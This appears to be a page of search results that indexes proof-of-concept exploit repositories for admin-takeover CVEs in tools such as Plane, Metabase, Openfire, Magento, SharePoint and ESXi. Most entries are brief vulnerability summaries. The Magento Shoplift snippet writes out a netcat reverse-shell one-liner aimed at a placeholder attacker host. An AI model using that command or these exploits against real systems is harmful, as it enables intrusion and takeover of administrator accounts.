111863 matches found
CVE-2026-104970
The Plane project management tool (versions 0.13 through 1.4.0) contains a Time-of-Check to Time-of-Use (TOCTOU) race condition within the InstanceAdminSignUpEndpoint located in apps/api/plane/license/api/views/admin.py. The vulnerability arises because the system performs a first-admin check usi...
CVE-2026-104970 Plane: InstanceAdminSignUpEndpoint TOCTOU race allows two concurrent unauthenticated callers to both bootstrap as Plane instance admins
Plane is an open-source project management tool. From 0.13 until 1.4.0, InstanceAdminSignUpEndpoint in apps/api/plane/license/api/views/admin.py:89-117, 173-229 uses InstanceAdmin.objects.first for the first-admin check and performs account creation without an atomic transaction, row lock,...
CVE-2026-104970 Plane: InstanceAdminSignUpEndpoint TOCTOU race allows two concurrent unauthenticated callers to both bootstrap as Plane instance admins
Plane is an open-source project management tool. From 0.13 until 1.4.0, InstanceAdminSignUpEndpoint in apps/api/plane/license/api/views/admin.py:89-117, 173-229 uses InstanceAdmin.objects.first for the first-admin check and performs account creation without an atomic transaction, row lock,...
CVE-2026-61343-poc-librebooking-rce
CVE-2026-61343-poc-librebooking-rce Librebooking 管理员 RCE PoC CVE-2026-61343...
CVE-2026-72898
Inyección SQL RCE en Metabase Inyección SQL no autenticada en el endpoint /api/session/resetpassword de Metabase. Crea cuentas de administrador y extrae credenciales de la base de datos. Afectado : v58.0 - v63.3 | Parcheado : v58.24+, v59.21+, v60.17+, v61.11+, v62.9+, v63.5+ Inicio Rápido pip...
CVE-2023-32315
CVE-2023-32315 Openfire 的管理控制台（Admin Console）是一个基于 Web 的应用程序，被发现在 setup 环境中存在路径遍历漏洞。 这使得未认证用户可以利用已配置好的 Openfire 环境中的未认证 Openfire Setup Environment，访问本应仅供管理员使用的 Openfire Admin Console 中的受限页面，并可能导致远程代码执行 RCE。 截图 要求 Python3.7+ 支持的操作系统 Linux 用户 Windows 用户 开始使用 $ git clone...
CVE-2015-1397-Magento-Shoplift
CVE-2015-1397-Magento-Shoplift 漏洞详情 漏洞出现在 HackTheBox 的 SwagShop 中 阶段 1 = exploit.py 获取 Magento CMS 管理后台的管理员凭据 阶段 2 = postauth.py 将 exploit.py 获取的凭据添加到 postauth.py 后，运行： python3 postauth.py http://TARGET.SITE/index.php/admin "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2&1|nc YOURIP 4444 /tmp/f"...
CVE-2026-88396
ApiAdmin v5.0 and before is vulnerable to Directory Traversal. The admin file-upload endpoint POST /admin/Index/upload in ApiAdmin takes the uploaded file's extension verbatim there is no whitelist, blacklist or content check and moveuploadedfile drops the file into the web-accessible directory...
CVE-2026-8732-PoC
CVE-2026-8732 — WP Maps Pro Creación de Administrador No Autenticada English | Türkçe English Overview CVE-2026-8732 is a critical vulnerability CVSS 9.8 in the WP Maps Pro wp-google-map-gold WordPress plugin version = 6.1.0. Unauthenticated attackers can create WordPress administrator accounts b...
CVE-2026-56164-EXP
Microsoft SharePoint Server 权限提升 - CVE-2026-56164 功能完整的未授权 EOP 漏洞利用。 概述 SharePoint Server 用户配置文件和网站集端点缺少关键功能身份验证 CWE-306。允许远程攻击者从匿名用户升级到网站集管理员/场管理员级别。 通过在 /vtibin/client.svc 上发送特制的 SOAP 有效载荷来绕过身份验证网关。 受影响版本 SharePoint Server Subscription Edition 16.0.19725.20434 SharePoint Server 2019...
tplink-CVE-2017-11519
tplink-CVE-2017-11519 TP-Link Archer C9 管理员密码重置与 RCE（CVE-2017-11519）的 POC 漏洞分析详见 https://devcraft.io/posts/2017/07/21/tp-link-archer-c9-admin-password-reset.html...
CVE-2026-2631
CVE-2026-2631 Datalogics Ecommerce Delivery – Datalogics PoC / 漏洞利用脚本： CVE-2026-2631.py 作者： Khaled Alenazi Nxploited – Nxploited ZeroDay Hub 联系方式： Telegram：@Kxploit 🧬 漏洞概述 插件： Datalogics Ecommerce Delivery – Datalogics WordPress 受影响版本： 2.6.60（不含） 漏洞类型： 未认证权限提升 CVE： CVE-2026-2631 CVSS v3.1： 9.8...
Vmware-ESXI
CVE-2024-37085 对加入域的 ESXI 虚拟机管理程序进行未经身份验证的 shell 上传以获得完全管理员权限。 Download ESXIVORTEX 详情： 一种身份验证绕过，导致在 vpxuser 上下文中上传 shell，从而在加入域的 ESXI 虚拟机管理程序上获得完全管理权限。 要利用此漏洞，必须启用 ESXI shell。 利用： 利用此漏洞需要执行几个步骤才能获得完全管理员控制权。 所有这些步骤都由一个 Python 脚本处理。 要利用此漏洞，您需要选择本脚本中使用的方法 使用 --full 或 -f 参数，脚本将尝试获取具有完全管理员权限的 shell...
CVE-2022-48429_poc
CVE-2022-48429 - Youtrack 存储型 XSS NVD 数据库中的 CVE 描述不够准确。 以下是更准确的描述： Youtrack（版本 = 2022.3.65373）在仪表板中存在存储型 跨站脚本（XSS）漏洞。恶意低权限用户可以创建一个格式错误的仪表板并将其发送给其他用户（例如管理员）。这可能导致管理员账户被接管。 原作者：echo-devim 详细描述与概念验证（PoC） 在研究 Youtrack 版本 2022.3.65373 的安全性时，我发现了仪表板中的 XSS 漏洞。 非特权用户可以创建一个包含恶意小部件（其中注入了...
CVE-2022-24112_POC
POC Colección de POC CVE-2022-24112 Para el entorno del campo de tiro 春秋云境:CVE-2022-24112, modifiqué dos POC, adaptando ligeramente los POC de los maestros M4xSec y twseptian para el campo de tiro 春秋云境: 春秋云境:CVE-2022-24112： Apache APISIX es un servicio de puerta de enlace de API de microservicios...
phpipam_1.4.4
CVE-2022-23046 phpIPAM 1.4.4 - Inyección SQL phpIPAM v1.4.4 permite a un usuario administrador autenticado inyectar sentencias SQL en el parámetro subnet mientras busca una subred a través de app/admin/routing/edit-bgp-mapping-search.php. Este proyecto actualmente imprime información de la base d...
CVE-2025-47550
Instantio - Wordpress 插件 1: lo: mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000 link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00 inet 127.0.0.1/8 scope host lo validlft forever preferredlft forever inet6 ::1/128 scope host validlft forever preferredlft forever 2: eth0: mtu 1500...
test_cve-2023-46747
用于测试 F5 BIG-IP 是否存在 CVE-2023-46747 漏洞的 Python 脚本。如果存在漏洞，则会添加一个具有管理员权限的用户账户。 要缓解此漏洞，请参阅：https://my.f5.com/manage/s/article/K000137353...
